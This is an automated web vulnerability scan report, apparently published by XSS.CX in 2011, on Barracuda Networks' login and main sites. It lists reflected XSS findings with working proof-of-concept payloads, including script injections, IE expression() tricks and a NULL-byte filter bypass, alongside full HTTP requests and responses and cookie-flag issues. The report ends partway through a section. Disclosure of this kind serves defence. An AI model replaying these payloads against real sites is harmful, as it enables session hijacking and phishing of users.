XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, barracudenetworks.com

Report generated by XSS.CX at Mon May 23 07:04:56 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

1.1. https://login.barracudanetworks.com/ [name of an arbitrarily supplied request parameter]

1.2. https://login.barracudanetworks.com/auth/login/ [service parameter]

1.3. https://login.barracudanetworks.com/auth/login/ [service parameter]

1.4. https://login.barracudanetworks.com/auth/login/ [service parameter]

1.5. https://login.barracudanetworks.com/landing/ [name of an arbitrarily supplied request parameter]

1.6. http://www.barracudanetworks.com/ [name of an arbitrarily supplied request parameter]

1.7. http://www.barracudanetworks.com/ns/ [name of an arbitrarily supplied request parameter]

2. SSL cookie without secure flag set

2.1. https://login.barracudanetworks.com/

2.2. https://login.barracudanetworks.com/auth/login/

2.3. https://login.barracudanetworks.com/css/

2.4. https://login.barracudanetworks.com/js/

2.5. https://login.barracudanetworks.com/landing/

3. SSL certificate

3.1. https://login.barracuda.com/

3.2. https://login.barracudanetworks.com/

4. Cookie scoped to parent domain

4.1. https://login.barracudanetworks.com/

4.2. https://login.barracudanetworks.com/auth/login/

4.3. https://login.barracudanetworks.com/css/

4.4. https://login.barracudanetworks.com/js/

4.5. https://login.barracudanetworks.com/landing/

5. Cookie without HttpOnly flag set

5.1. https://login.barracudanetworks.com/

5.2. https://login.barracudanetworks.com/auth/login/

5.3. https://login.barracudanetworks.com/css/

5.4. https://login.barracudanetworks.com/js/

5.5. https://login.barracudanetworks.com/landing/

5.6. http://www.barracudanetworks.com/

5.7. http://www.barracudanetworks.com/ns/

6. Password field with autocomplete enabled

7. Cross-domain Referer leakage

7.1. http://www.barracudanetworks.com/ns/

7.2. http://www.barracudanetworks.com/ns/

8. Cross-domain script include

9. Email addresses disclosed



1. Cross-site scripting (reflected)  next
There are 7 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://login.barracudanetworks.com/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0044484"><a>1ee05cfb68c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 44484"><a>1ee05cfb68c in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /?%0044484"><a>1ee05cfb68c=1 HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/?a=bsf_product&L=en
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:15:00 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:15:00 GMT; path=/; domain=.barracudanetworks.com
Set-Cookie: cloud_session=ponu42hmtvtoumhik7jeo29uf3; path=/; domain=.barracudanetworks.com
Expires: Sun, 23 May 2010 08:15:00 -0400
Cache-Control: no-store
Pragma: no-cache
Set-Cookie: cloud_session=ponu42hmtvtoumhik7jeo29uf3; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 6326

<!DOCTYPE html>
<!-- Portal Version 2.1.0 (32278) -->
<html>
   <head>
       <meta charset="UTF-8">
       <meta http-equiv="Content-Version" content="2.1.0">
       <title>Sign In > Barracuda Networks</title>
       <lin
...[SNIP]...
<a href="/new_account/?service=https://login.barracudanetworks.com/?%0044484"><a>1ee05cfb68c=1">
...[SNIP]...

1.2. https://login.barracudanetworks.com/auth/login/ [service parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://login.barracudanetworks.com
Path:   /auth/login/

Issue detail

The value of the service request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2dd75"><x%20style%3dx%3aexpr/**/ession(alert(1))>6831c1fbf2c was submitted in the service parameter. This input was echoed as 2dd75"><x style=x:expr/**/ession(alert(1))>6831c1fbf2c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /auth/login/?service=2dd75"><x%20style%3dx%3aexpr/**/ession(alert(1))>6831c1fbf2c HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: http://burp/show/1
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=ke204o0v5fs154n6c5n6eevma4

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:17:27 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:17:27 GMT; path=/; domain=.barracudanetworks.com
Expires: Sun, 23 May 2010 08:17:27 -0400
Cache-Control: no-store
Pragma: no-cache
Set-Cookie: cloud_session=ke204o0v5fs154n6c5n6eevma4; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 6308

<!DOCTYPE html>
<!-- Portal Version 2.1.0 (32278) -->
<html>
   <head>
       <meta charset="UTF-8">
       <meta http-equiv="Content-Version" content="2.1.0">
       <title>Sign In > Barracuda Networks</title>
       <lin
...[SNIP]...
<a href="/new_account/?service=2dd75"><x style=x:expr/**/ession(alert(1))>6831c1fbf2c">
...[SNIP]...

1.3. https://login.barracudanetworks.com/auth/login/ [service parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://login.barracudanetworks.com
Path:   /auth/login/

Issue detail

The value of the service request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa177"><x%20style%3dx%3aexpr/**/ession(alert(1))>67f41a2255152f4ff was submitted in the service parameter. This input was echoed as aa177"><x style=x:expr/**/ession(alert(1))>67f41a2255152f4ff in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /auth/login/?username=&password=&login_token=LT-1c23bccb950b201ba997f084adc68e2f04bfc0e2-95cd8518dd63af5594e07a44bbaa85e8&service=https%3A%2F%2Flogin.barracudanetworks.com%2F%3F%250044484aa177"><x%20style%3dx%3aexpr/**/ession(alert(1))>67f41a2255152f4ff HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: https://login.barracudanetworks.com/auth/login/?service=https%3A%2F%2Flogin.barracudanetworks.com%2F%3F%250044484%22%3E%3Ca%3Exss.cx.PoC%3D1
Cache-Control: max-age=0
Origin: https://login.barracudanetworks.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=ke204o0v5fs154n6c5n6eevma4

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:18:27 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:18:27 GMT; path=/; domain=.barracudanetworks.com
Expires: Sun, 23 May 2010 08:18:27 -0400
Cache-Control: no-store
Pragma: no-cache
Set-Cookie: cloud_session=ke204o0v5fs154n6c5n6eevma4; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 6410

<!DOCTYPE html>
<!-- Portal Version 2.1.0 (32278) -->
<html>
   <head>
       <meta charset="UTF-8">
       <meta http-equiv="Content-Version" content="2.1.0">
       <title>Sign In > Barracuda Networks</title>
       <lin
...[SNIP]...
<a href="/new_account/?service=https://login.barracudanetworks.com/?%0044484aa177"><x style=x:expr/**/ession(alert(1))>67f41a2255152f4ff">
...[SNIP]...

1.4. https://login.barracudanetworks.com/auth/login/ [service parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://login.barracudanetworks.com
Path:   /auth/login/

Issue detail

The value of the service request parameter is copied into the HTML document as plain text between tags. The payload 779a1<x%20style%3dx%3aexpr/**/ession(alert(1))>6598e1f9440 was submitted in the service parameter. This input was echoed as 779a1<x style=x:expr/**/ession(alert(1))>6598e1f9440 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /auth/login/?service=https%3A%2F%2Flogin.barracudanetworks.com%2F%3F%250044484%22%3E%3Ca%3Exss.cx.PoC%3D1779a1<x%20style%3dx%3aexpr/**/ession(alert(1))>6598e1f9440 HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: http://burp/show/1
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=ke204o0v5fs154n6c5n6eevma4

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:17:43 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:17:43 GMT; path=/; domain=.barracudanetworks.com
Expires: Sun, 23 May 2010 08:17:43 -0400
Cache-Control: no-store
Pragma: no-cache
Set-Cookie: cloud_session=ke204o0v5fs154n6c5n6eevma4; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 6428

<!DOCTYPE html>
<!-- Portal Version 2.1.0 (32278) -->
<html>
   <head>
       <meta charset="UTF-8">
       <meta http-equiv="Content-Version" content="2.1.0">
       <title>Sign In > Barracuda Networks</title>
       <lin
...[SNIP]...
<a>xss.cx.PoC=1779a1<x style=x:expr/**/ession(alert(1))>6598e1f9440">
...[SNIP]...

1.5. https://login.barracudanetworks.com/landing/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /landing/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00ad026"><a>00cb64c5efa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ad026"><a>00cb64c5efa in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /landing/?%00ad026"><a>00cb64c5efa=1 HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: https://login.barracudanetworks.com/auth/login/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=ke204o0v5fs154n6c5n6eevma4

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:19:10 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:19:10 GMT; path=/; domain=.barracudanetworks.com
Expires: Sun, 23 May 2010 08:19:10 -0400
Cache-Control: no-store
Pragma: no-cache
Set-Cookie: cloud_session=ke204o0v5fs154n6c5n6eevma4; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 6342

<!DOCTYPE html>
<!-- Portal Version 2.1.0 (32278) -->
<html>
   <head>
       <meta charset="UTF-8">
       <meta http-equiv="Content-Version" content="2.1.0">
       <title>Sign In > Barracuda Networks</title>
       <lin
...[SNIP]...
<a href="/new_account/?service=https://login.barracudanetworks.com/landing/?%00ad026"><a>00cb64c5efa=1">
...[SNIP]...

1.6. http://www.barracudanetworks.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.barracudanetworks.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81e60"><script>alert(1)</script>5f59bb7695e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /?a=bsf_product&81e60"><script>alert(1)</script>5f59bb7695e=1 HTTP/1.1
Host: www.barracudanetworks.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1305850488.1

Response (redirected)

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: barra_tracking_code=bsf_product; path=/
Set-Cookie: locale=+; expires=Mon, 23-May-2011 11:36:59 GMT
Set-Cookie: locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/
Set-Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; expires=Wed, 22-Jun-2011 11:45:19 GMT; path=/
Date: Mon, 23 May 2011 11:45:19 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta ht
...[SNIP]...
<input type="hidden" name="81e60"><script>alert(1)</script>5f59bb7695e" value="1" />
...[SNIP]...

1.7. http://www.barracudanetworks.com/ns/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.barracudanetworks.com
Path:   /ns/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea9aa"><script>alert(1)</script>95b1a0e8696 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ns/?a=bsf_product&L=en&ea9aa"><script>alert(1)</script>95b1a0e8696=1 HTTP/1.1
Host: www.barracudanetworks.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1305850488.1; barra_tracking_code=bsf_product; locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A

Response

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: barra_tracking_code=bsf_product; path=/
Set-Cookie: locale=+; expires=Mon, 23-May-2011 11:36:33 GMT
Set-Cookie: locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/
Set-Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; expires=Wed, 22-Jun-2011 11:44:53 GMT; path=/
Date: Mon, 23 May 2011 11:44:53 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta ht
...[SNIP]...
<input type="hidden" name="ea9aa"><script>alert(1)</script>95b1a0e8696" value="1" />
...[SNIP]...

2. SSL cookie without secure flag set  previous  next
There are 5 instances of this issue:

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.


2.1. https://login.barracudanetworks.com/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/?a=bsf_product&L=en
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907

Response

HTTP/1.1 302 Found
Date: Mon, 23 May 2011 12:14:25 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:25 GMT; path=/; domain=.barracudanetworks.com
Set-Cookie: cloud_session=6fufv3v28il3m23hhbuncr0b22; path=/; domain=.barracudanetworks.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cloud_session=6fufv3v28il3m23hhbuncr0b22; path=/; domain=.barracudanetworks.com
Location: https://login.barracudanetworks.com/auth/login/
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 66

<h1>302 - Found</h1><p><a href="/auth/login/">/auth/login/</a></p>

2.2. https://login.barracudanetworks.com/auth/login/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /auth/login/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /auth/login/ HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/?a=bsf_product&L=en
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=vt3ghperckvebeg1r8fc2hv1n0

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:14:27 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:27 GMT; path=/; domain=.barracudanetworks.com
Expires: Sun, 23 May 2010 08:14:27 -0400
Cache-Control: no-store
Pragma: no-cache
Set-Cookie: cloud_session=vt3ghperckvebeg1r8fc2hv1n0; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 6191

<!DOCTYPE html>
<!-- Portal Version 2.1.0 (32278) -->
<html>
   <head>
       <meta charset="UTF-8">
       <meta http-equiv="Content-Version" content="2.1.0">
       <title>Sign In > Barracuda Networks</title>
       <lin
...[SNIP]...

2.3. https://login.barracudanetworks.com/css/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /css/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /css/?n=cloud/auth&m=1303940125 HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: https://login.barracudanetworks.com/auth/login/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=vt3ghperckvebeg1r8fc2hv1n0

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:14:29 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:29 GMT; path=/; domain=.barracudanetworks.com
Expires: Wed, 22 Jun 2011 12:14:29 GMT
Cache-Control: max-age=2592000, public
Pragma: max-age=2592000, public
Set-Cookie: cloud_session=vt3ghperckvebeg1r8fc2hv1n0; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Last-Modified: Wed, 27 Apr 2011 21:35:25 GMT
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/css
Content-Length: 271

#cloud_panel_login {}
.message {}
.message.error {color: #800000; font-weight: bold}
.message.notice {color: #314368}
#scroll_pane_body {position: absolute; top: 8px; left: 16px; right: 8px; bottom:
...[SNIP]...

2.4. https://login.barracudanetworks.com/js/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://login.barracudanetworks.com
Path:   /js/

Issue detail
